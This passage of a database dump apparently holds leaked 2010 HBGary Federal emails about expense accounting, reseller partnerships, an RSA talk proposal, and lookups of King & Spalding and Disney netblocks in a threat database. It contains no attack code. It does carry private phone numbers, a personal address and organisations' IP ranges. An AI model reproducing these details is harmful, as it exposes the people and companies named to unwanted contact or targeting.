DeeAnn,\r\n\r\n\r\n\r\nCould you please fax me copies of the transactions marked in the\r\nattachment?  Be sure to include the detail that will show the amount\r\nbeing charged to HBGary Federal.  Please provide at your earliest\r\nconvenience.  Thanks.\r\n\r\n\r\n\r\nTed – The transactions in the above attachment were recorded in QB\r\nonline to reflect these expenses paid by HBGary, Inc. for the benefit\r\nof HBGary Federal LLC.  I will get the backup to you for these charges\r\nas soon as DeeAnn forwards them to me.  Also, Ted, I would like you to\r\nbe aware that there may be some additional transaction on HBGary,\r\nInc.’s books that have not yet been identified.  I will review HBG\r\ngeneral ledger soon to ensure to all transactions have been recorded\r\nproperly.\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\nJohn L. Cox, CPA\r\n\r\n12107 Faith Lane\r\n\r\nBowie, Maryland 20715\r\n\r\n(240) 949-6022 Voice\r\n\r\n(866) 750-1973 Fax\r\n\r\n\r\n\r\nThis message contains information that may be confidential and\r\nprivileged. Unless you are the addressee (or authorized to receive for\r\nthe addressee), you may not use, copy, print or disclose to anyone the\r\nmessage or any information contained in the message. If you have\r\nreceived this e-mail in error, please advise the sender by reply and\r\ndelete the message. Thank you.\r\n\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',8373,'aaron_hbgary_com/8373.html'),(7963,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006151.M967619P14101Q2818.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: HBGary follow up','Hi Arnav,Yes it does.  Penny wanted the reseller agreement specifically to be signed by HBGary Inc. However we will manage the partnership, opportunities, etc.  I will make sure Maria is aware.\r\nAaronSent from my iPadOn Jun 29, 2010, at 11:03 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,I received this message yesterday - can I consider our relationship with HBGary Federal to apply to HBGary Inc as well?Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe SecDev Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\nBegin forwarded message:From: Maria Lucas &lt;maria@hbgary.com&gt;\r\nDate: June 28, 2010 6:26:39 PM EDT\r\nTo: a.manchanda@secdev.ca\r\nSubject: HBGary follow up\r\nHi\r\n \r\nBob Slapnick mentioned that you were intersted in partnering with HBGary.  May I help you?\r\n \r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n\r\n\r\n',9473,'aaron_hbgary_com/9473.html'),(7964,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006152.M249509P14101Q2819.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Fwd: HBGary follow up','Hi Maria,I got the following question from Arnav.  We have partnered with SecDev to deliver incident response and threat intelligence services and products including hbgary and fidelis.  Do you want to get on the phone to discuss more details?\r\nAaronSent from my iPadBegin forwarded message:From: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;\r\nDate: June 29, 2010 11:03:54 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Fwd: HBGary follow up\r\nHi Aaron,I received this message yesterday - can I consider our relationship with HBGary Federal to apply to HBGary Inc as well?Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe SecDev Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\nBegin forwarded message:From: Maria Lucas &lt;maria@hbgary.com&gt;\r\nDate: June 28, 2010 6:26:39 PM EDT\r\nTo: a.manchanda@secdev.ca\r\nSubject: HBGary follow up\r\nHi\r\n \r\nBob Slapnick mentioned that you were intersted in partnering with HBGary.  May I help you?\r\n \r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n\r\n\r\n',11631,'aaron_hbgary_com/11631.html'),(7965,'2010-06-29','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006152.M487729P14101Q2820.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SecDev','Aaron\r\n \r\nWho is the contact at SecDev that is interested in the Reseller agreement?\r\n \r\nMaria\r\nOn Fri, May 14, 2010 at 5:11 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nPenny,I got off the phone with SecDev a little while ago.  The want to be a reseller for our products and services.  This weekend Ted and I are going to put together our &quot;service offerings&quot; and provide a reseller agreement for services.  How do you want to handle the product resale?  They said they have some near term engagements in the US they would like to pitch us on.\r\nAaron BarrCEOHBGary Federal Inc.-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n',3631,'aaron_hbgary_com/3631.html'),(7966,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006152.M683342P14101Q2821.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: SecDev','Arnav is.From my iPhoneOn Jun 29, 2010, at 11:48 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nAaron\r\n \r\nWho is the contact at SecDev that is interested in the Reseller agreement?\r\n \r\nMaria\r\nOn Fri, May 14, 2010 at 5:11 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nPenny,I got off the phone with SecDev a little while ago.  The want to be a reseller for our products and services.  This weekend Ted and I are going to put together our &quot;service offerings&quot; and provide a reseller agreement for services.  How do you want to handle the product resale?  They said they have some near term engagements in the US they would like to pitch us on.\r\n\r\nAaron BarrCEOHBGary Federal Inc.-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nemail: maria@hbgary.com \r\n\r\n',1203,'aaron_hbgary_com/1203.html'),(7967,'2010-06-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006152.M887809P14101Q2822.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Re: King & Spalding','The query just completed, no results found in the endgames database.TedOn Tue, Jun 29, 2010 at 9:09 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nThese are the netblocks I&#39;m querying in the EndGames DB this morning for King &amp; Spalding:\r\n\r\nKing &amp; Spalding, LLP\r\n\r\nWebserver (Rackspace) 207.97.215.136\r\nKing &amp; Spalding (KINGSP) \r\nKing &amp; Spalding FON-1101159808100285 (NET-65-162-93-128-1) 65.162.93.128 - 65.162.93.159\r\nKing &amp; Spalding PNAP-HOU-KPAL-RM-01 (NET-66-151-72-192-1) 66.151.72.192 - 66.151.72.223\r\nKing &amp; Spalding PNAP-NYC-KPAL-RM-01 (NET-64-74-55-32-1) 64.74.55.32 - 64.74.55.63\r\nKing &amp; Spalding PNAP-WDC-KPAL-RM-01 (NET-216-52-121-160-1) 216.52.121.160 - 216.52.121.191\r\nKing &amp; Spalding PNAP-ACS-KPAL-RM-01 (NET-216-52-196-0-1) 216.52.196.0 - 216.52.196.127\r\nKing &amp; Spalding INAP-ACS-KINGSPALACS-9257 (NET-64-94-228-192-1) 64.94.228.192 - 64.94.228.223\r\nKing &amp; Spalding QTS-165-64-26 (NET-64-88-165-64-1) 64.88.165.64 - 64.88.165.127\r\n\r\n\r\nTed\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',7966,'aaron_hbgary_com/7966.html'),(7968,'2010-06-29','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006153.M127788P14101Q2823.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: King & Spalding','Thanks Ted!\r\n\r\nOn 6/29/10, Ted Vera  wrote:\r\n> The query just completed, no results found in the endgames database.\r\n>\r\n> Ted\r\n>\r\n> On Tue, Jun 29, 2010 at 9:09 AM, Ted Vera  wrote:\r\n>\r\n>> These are the netblocks I\'m querying in the EndGames DB this morning for\r\n>> King & Spalding:\r\n>>\r\n>> King & Spalding, LLP\r\n>> Webserver (Rackspace)\r\n>> 207.97.215.136\r\n>> \r\n>>\r\n>> King & Spalding (KINGSP\r\n>> )\r\n>> King & Spalding FON-1101159808100285 (NET-65-162-93-128-1\r\n>> )\r\n>> 65.162.93.128  -\r\n>> 65.162.93.159 \r\n>> King & Spalding PNAP-HOU-KPAL-RM-01 (NET-66-151-72-192-1\r\n>> )\r\n>> 66.151.72.192  -\r\n>> 66.151.72.223 \r\n>> King & Spalding PNAP-NYC-KPAL-RM-01 (NET-64-74-55-32-1\r\n>> ) 64.74.55.32\r\n>>  - 64.74.55.63\r\n>> \r\n>> King & Spalding PNAP-WDC-KPAL-RM-01 (NET-216-52-121-160-1\r\n>> )\r\n>> 216.52.121.160  -\r\n>> 216.52.121.191 \r\n>> King & Spalding PNAP-ACS-KPAL-RM-01 (NET-216-52-196-0-1\r\n>> )\r\n>> 216.52.196.0  -\r\n>> 216.52.196.127 \r\n>> King & Spalding INAP-ACS-KINGSPALACS-9257 (NET-64-94-228-192-1\r\n>> )\r\n>> 64.94.228.192  -\r\n>> 64.94.228.223 \r\n>> King & Spalding QTS-165-64-26 (NET-64-88-165-64-1\r\n>> )\r\n>> 64.88.165.64  -\r\n>> 64.88.165.127 \r\n>>\r\n>>\r\n>> Ted\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n-- \r\nSent from my mobile device\r\n',10553,'aaron_hbgary_com/10553.html'),(7969,'2010-06-29','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006153.M439129P14101Q2824.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary follow up','Aaron you had mentioned that Arnav was intersted in the Reseller Program.....\r\n \r\nThe Reseller program would be different...\r\nOn Tue, Jun 29, 2010 at 8:34 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nHi Maria,\r\n\r\nI got the following question from Arnav.  We have partnered with SecDev to deliver incident response and threat intelligence services and products including hbgary and fidelis.  Do you want to get on the phone to discuss more details?\r\n\r\n\r\nAaron\r\nSent from my iPad\r\nBegin forwarded message:\r\n\r\nFrom: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;Date: June 29, 2010 11:03:54 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Fwd: HBGary follow up\r\n\r\n\r\nHi Aaron, \r\n\r\nI received this message yesterday - can I consider our relationship with HBGary Federal to apply to HBGary Inc as well?\r\n\r\nBest wishes,\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe SecDev Group\r\ncomplexity.engaged\r\n\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007Cell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\n\r\n\r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\n\r\n\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\nFrom: Maria Lucas &lt;maria@hbgary.com&gt;\r\n\r\nDate: June 28, 2010 6:26:39 PM EDT\r\n\r\nTo: a.manchanda@secdev.ca\r\n\r\nSubject: HBGary follow up\r\n\r\nHi\r\n \r\nBob Slapnick mentioned that you were intersted in partnering with HBGary.  May I help you?\r\n \r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n',16332,'aaron_hbgary_com/16332.html'),(7970,'2010-06-29','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006153.M668556P14101Q2825.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SecDev','I don&#39;t have contact information for Arnav  -- can you forward?\r\nOn Tue, Jun 29, 2010 at 8:50 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nArnav is.From my iPhone\r\n\r\n\r\n\r\nOn Jun 29, 2010, at 11:48 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron\r\n \r\nWho is the contact at SecDev that is interested in the Reseller agreement?\r\n \r\nMaria\r\nOn Fri, May 14, 2010 at 5:11 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nPenny,I got off the phone with SecDev a little while ago.  The want to be a reseller for our products and services.  This weekend Ted and I are going to put together our &quot;service offerings&quot; and provide a reseller agreement for services.  How do you want to handle the product resale?  They said they have some near term engagements in the US they would like to pitch us on.\r\nAaron BarrCEOHBGary Federal Inc.-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n',8771,'aaron_hbgary_com/8771.html'),(7971,'2010-06-29','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297006153.M901716P14101Q2826.eml','aaron@hbgary.com','Alarm - Cyber Genome Debrief','June 29, 2010 10:45 AM : Cyber Genome Debrief \r\n',7709,'aaron_hbgary_com/7709.html'),(7972,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006154.M108165P14101Q2827.eml','rich@hbgary.com,rich@hbgary.com','Re: King & Spalding','Thats odd isn\'t it?\r\n\r\nAaron\r\n\r\nOn Jun 29, 2010, at 12:13 PM, Rich Cummings wrote:\r\n\r\n> Thanks Ted!\r\n> \r\n> On 6/29/10, Ted Vera  wrote:\r\n>> The query just completed, no results found in the endgames database.\r\n>> \r\n>> Ted\r\n>> \r\n>> On Tue, Jun 29, 2010 at 9:09 AM, Ted Vera  wrote:\r\n>> \r\n>>> These are the netblocks I\'m querying in the EndGames DB this morning for\r\n>>> King & Spalding:\r\n>>> \r\n>>> King & Spalding, LLP\r\n>>> Webserver (Rackspace)\r\n>>> 207.97.215.136\r\n>>> \r\n>>> \r\n>>> King & Spalding (KINGSP\r\n>>> )\r\n>>> King & Spalding FON-1101159808100285 (NET-65-162-93-128-1\r\n>>> )\r\n>>> 65.162.93.128  -\r\n>>> 65.162.93.159 \r\n>>> King & Spalding PNAP-HOU-KPAL-RM-01 (NET-66-151-72-192-1\r\n>>> )\r\n>>> 66.151.72.192  -\r\n>>> 66.151.72.223 \r\n>>> King & Spalding PNAP-NYC-KPAL-RM-01 (NET-64-74-55-32-1\r\n>>> ) 64.74.55.32\r\n>>>  - 64.74.55.63\r\n>>> \r\n>>> King & Spalding PNAP-WDC-KPAL-RM-01 (NET-216-52-121-160-1\r\n>>> )\r\n>>> 216.52.121.160  -\r\n>>> 216.52.121.191 \r\n>>> King & Spalding PNAP-ACS-KPAL-RM-01 (NET-216-52-196-0-1\r\n>>> )\r\n>>> 216.52.196.0  -\r\n>>> 216.52.196.127 \r\n>>> King & Spalding INAP-ACS-KINGSPALACS-9257 (NET-64-94-228-192-1\r\n>>> )\r\n>>> 64.94.228.192  -\r\n>>> 64.94.228.223 \r\n>>> King & Spalding QTS-165-64-26 (NET-64-88-165-64-1\r\n>>> )\r\n>>> 64.88.165.64  -\r\n>>> 64.88.165.127 \r\n>>> \r\n>>> \r\n>>> Ted\r\n>>> \r\n>> \r\n>> \r\n>> \r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>> \r\n> \r\n> -- \r\n> Sent from my mobile device\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9033,'aaron_hbgary_com/9033.html'),(7973,'2010-06-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006154.M331908P14101Q2828.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: King & Spalding','There weren&#39;t that many hosts.On Tue, Jun 29, 2010 at 10:26 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThats odd isn&#39;t it?\r\n\r\nAaron\r\n\r\nOn Jun 29, 2010, at 12:13 PM, Rich Cummings wrote:\r\n\r\n&gt; Thanks Ted!\r\n&gt;\r\n&gt; On 6/29/10, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n&gt;&gt; The query just completed, no results found in the endgames database.\r\n&gt;&gt;\r\n&gt;&gt; Ted\r\n&gt;&gt;\r\n&gt;&gt; On Tue, Jun 29, 2010 at 9:09 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n&gt;&gt;\r\n&gt;&gt;&gt; These are the netblocks I&#39;m querying in the EndGames DB this morning for\r\n&gt;&gt;&gt; King &amp; Spalding:\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; King &amp; Spalding, LLP\r\n&gt;&gt;&gt; Webserver (Rackspace)\r\n&gt;&gt;&gt; 207.97.215.136&lt;http://cqcounter.com/traceroute/?query=207.97.215.136&gt;\r\n&gt;&gt;&gt; &lt;http://cqcounter.com/traceroute/?query=207.97.215.136&gt;\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; King &amp; Spalding (KINGSP\r\n&gt;&gt;&gt; &lt;https://ws.arin.net/whois/?queryinput=!%20KINGSP&gt;)\r\n&gt;&gt;&gt; King &amp; Spalding FON-1101159808100285 (NET-65-162-93-128-1\r\n&gt;&gt;&gt; &lt;https://ws.arin.net/whois/?queryinput=!%20NET-65-162-93-128-1&gt;)\r\n&gt;&gt;&gt; 65.162.93.128 &lt;https://ws.arin.net/whois/?queryinput=65.162.93.128&gt; -\r\n&gt;&gt;&gt; 65.162.93.159 &lt;https://ws.arin.net/whois/?queryinput=65.162.93.159&gt;\r\n&gt;&gt;&gt; King &amp; Spalding PNAP-HOU-KPAL-RM-01 (NET-66-151-72-192-1\r\n&gt;&gt;&gt; &lt;https://ws.arin.net/whois/?queryinput=!%20NET-66-151-72-192-1&gt;)\r\n&gt;&gt;&gt; 66.151.72.192 &lt;https://ws.arin.net/whois/?queryinput=66.151.72.192&gt; -\r\n&gt;&gt;&gt; 66.151.72.223 &lt;https://ws.arin.net/whois/?queryinput=66.151.72.223&gt;\r\n&gt;&gt;&gt; King &amp; Spalding PNAP-NYC-KPAL-RM-01 (NET-64-74-55-32-1\r\n&gt;&gt;&gt; &lt;https://ws.arin.net/whois/?queryinput=!%20NET-64-74-55-32-1&gt;) 64.74.55.32\r\n&gt;&gt;&gt; &lt;https://ws.arin.net/whois/?queryinput=64.74.55.32&gt; - 64.74.55.63\r\n&gt;&gt;&gt; &lt;https://ws.arin.net/whois/?queryinput=64.74.55.63&gt;\r\n&gt;&gt;&gt; King &amp; Spalding PNAP-WDC-KPAL-RM-01 (NET-216-52-121-160-1\r\n&gt;&gt;&gt; &lt;https://ws.arin.net/whois/?queryinput=!%20NET-216-52-121-160-1&gt;)\r\n&gt;&gt;&gt; 216.52.121.160 &lt;https://ws.arin.net/whois/?queryinput=216.52.121.160&gt; -\r\n&gt;&gt;&gt; 216.52.121.191 &lt;https://ws.arin.net/whois/?queryinput=216.52.121.191&gt;\r\n&gt;&gt;&gt; King &amp; Spalding PNAP-ACS-KPAL-RM-01 (NET-216-52-196-0-1\r\n&gt;&gt;&gt; &lt;https://ws.arin.net/whois/?queryinput=!%20NET-216-52-196-0-1&gt;)\r\n&gt;&gt;&gt; 216.52.196.0 &lt;https://ws.arin.net/whois/?queryinput=216.52.196.0&gt; -\r\n&gt;&gt;&gt; 216.52.196.127 &lt;https://ws.arin.net/whois/?queryinput=216.52.196.127&gt;\r\n&gt;&gt;&gt; King &amp; Spalding INAP-ACS-KINGSPALACS-9257 (NET-64-94-228-192-1\r\n&gt;&gt;&gt; &lt;https://ws.arin.net/whois/?queryinput=!%20NET-64-94-228-192-1&gt;)\r\n&gt;&gt;&gt; 64.94.228.192 &lt;https://ws.arin.net/whois/?queryinput=64.94.228.192&gt; -\r\n&gt;&gt;&gt; 64.94.228.223 &lt;https://ws.arin.net/whois/?queryinput=64.94.228.223&gt;\r\n&gt;&gt;&gt; King &amp; Spalding QTS-165-64-26 (NET-64-88-165-64-1\r\n&gt;&gt;&gt; &lt;https://ws.arin.net/whois/?queryinput=!%20NET-64-88-165-64-1&gt;)\r\n&gt;&gt;&gt; 64.88.165.64 &lt;https://ws.arin.net/whois/?queryinput=64.88.165.64&gt; -\r\n&gt;&gt;&gt; 64.88.165.127 &lt;https://ws.arin.net/whois/?queryinput=64.88.165.127&gt;\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; Ted\r\n&gt;&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; --\r\n&gt;&gt; Ted H. Vera\r\n&gt;&gt; President | COO\r\n&gt;&gt; HBGary Federal\r\n&gt;&gt; 719-237-8623\r\n&gt;&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Sent from my mobile device\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',2159,'aaron_hbgary_com/2159.html'),(7974,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006154.M534504P14101Q2829.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: RSA proposal','I think its a good idea. &nbsp;Lets do it.AaronOn Jun 28, 2010, at 6:33 PM, Matthew Steckman wrote:Never got a response on this.&nbsp; Waddah think?&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantir.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Matthew Steckman&nbsp;Sent:&nbsp;Thursday, June 24, 2010 4:45 PMTo:&nbsp;\'Aaron Barr\'Cc:&nbsp;Eli Bingham; Shreyas Vijaykumar; Geoff Stowe; Aaron ZollmanSubject:&nbsp;RSA proposal&nbsp;Aaron,As we discussed, our proposal is as follows:&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Palantir and HBGary (and maybe SecDev) tag team an RSA speakers submission (due July 9 btw) entitled something like, “Cyber IS an Intelligence Problem, NOT an IT Problem: Redefining the Problem Set” (horrible title I know)·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The goal here would be to take a technical problem (maybe one of Greg’s or SecDev’s pet projects), present the technical findings in Part I of the prezo, then flip gears in Part II to present it as an Intelligence problem (using Palantir for the presentation)·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We need to be careful to remove all marketing language from the submission as they apparently don’t take kindly to that·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We obviously have a ton of time to do the work which could be split between all of us (we could even set up a hosted Palantir instance to do the research a la Project Grey Goose)·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We would want to play up our Intel community bona fides and your technical prowess/name brand&nbsp;My 4 colleagues CCed and myself are basically all of Palantir’s “Cyber Team”.&nbsp; I’ll now open this thread up for comments.&nbsp; If HBGary is in we can set up a quick brainstorming session.&nbsp;Best,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantir.com&nbsp;| 202-257-2270&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2552,'aaron_hbgary_com/2552.html'),(7975,'2010-06-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006154.M747057P14101Q2830.eml','\"Barr Aaron\" <aaron@hbgary.com>','BAE','I have a meeting scheduled tomorrow at 10am with Joe at the BAE facility here in COS.Ted\r\n\r\n',7424,'aaron_hbgary_com/7424.html'),(7976,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006154.M969636P14101Q2831.eml','\"Ted Vera\" <ted@hbgary.com>','Re: BAE','finally.\r\n\r\nOn Jun 29, 2010, at 1:01 PM, Ted Vera wrote:\r\n\r\n> I have a meeting scheduled tomorrow at 10am with Joe at the BAE facility here in COS.\r\n> \r\n> Ted\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14225,'aaron_hbgary_com/14225.html'),(7977,'2010-06-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006155.M178762P14101Q2832.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: Updated Disney results as requested.','no problem.  send any more queries you&#39;d like us to run - the free beta ends soon.On Tue, Jun 29, 2010 at 11:58 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for doing this Ted\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, June 29, 2010 8:20 AM\r\nTo: Penny Leavy; Greg Hoglund\r\nSubject: Updated Disney results as requested.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nNetblocks Queried (Disney Worldwide):\r\n\r\n\r\n\r\n12.170.186.128;12.170.186.13512.164.28.32;12.164.28.3912.150.160.184;12.150.160.19112.150.167.0;12.150.167.25512.192.106.0;12.192.106.127\r\n12.131.160.96;12.131.160.12712.233.179.72;12.233.179.7912.176.37.160;12.176.37.17512.230.42.232;12.230.42.239204.248.27.0;204.248.27.25512.169.64.224;12.169.64.231\r\n12.40.15.40;12.40.15.4712.197.148.168;12.197.148.17512.150.184.152;12.150.184.15912.196.95.88;12.196.95.9512.31.129.56;12.31.129.6312.184.137.160;12.184.137.167\r\n12.68.117.128;12.68.117.13512.51.203.216;12.51.203.22312.51.203.120;12.51.203.12712.44.117.0;12.44.117.127153.8.0.0;153.8.255.255192.195.66.0;192.195.66.255\r\n192.195.67.0;192.195.67.255198.22.77.0;198.22.77.255198.102.219.0;198.102.219.255192.203.182.0;192.203.182.255198.203.190.0;198.203.190.255198.178.187.0;198.178.187.255\r\n198.178.188.0;198.178.188.255198.178.189.0;198.178.189.255198.187.189.0;198.187.189.255198.187.190.0;198.187.190.255198.180.195.0;198.180.195.255199.88.194.0;199.88.194.255\r\n199.181.129.0;199.181.135.255199.4.128.0;199.4.128.255204.225.142.0;204.225.142.255204.238.46.0;204.238.46.255205.159.75.0;205.159.75.255204.87.208.0;204.87.208.255\r\n204.75.167.0;204.75.167.255204.80.231.0;204.80.231.255204.128.230.0;204.128.230.255204.128.245.0;204.128.245.255199.184.108.0;199.184.108.255204.128.192.0;204.128.192.255\r\n192.195.65.0;192.195.65.255153.7.0.0;153.7.255.255192.124.33.0;192.124.33.255204.69.150.0;204.69.150.255198.252.254.0;198.252.254.255198.200.186.0;198.200.186.255\r\n153.6.0.0;153.6.255.255192.195.64.0;192.195.64.255192.195.63.0;192.195.63.255204.87.172.0;204.87.172.25512.105.35.16;12.105.35.3112.35.205.208;12.35.205.223\r\n12.9.240.176;12.9.240.18312.9.240.240;12.9.240.24712.151.178.144;12.151.178.15112.16.33.16;12.16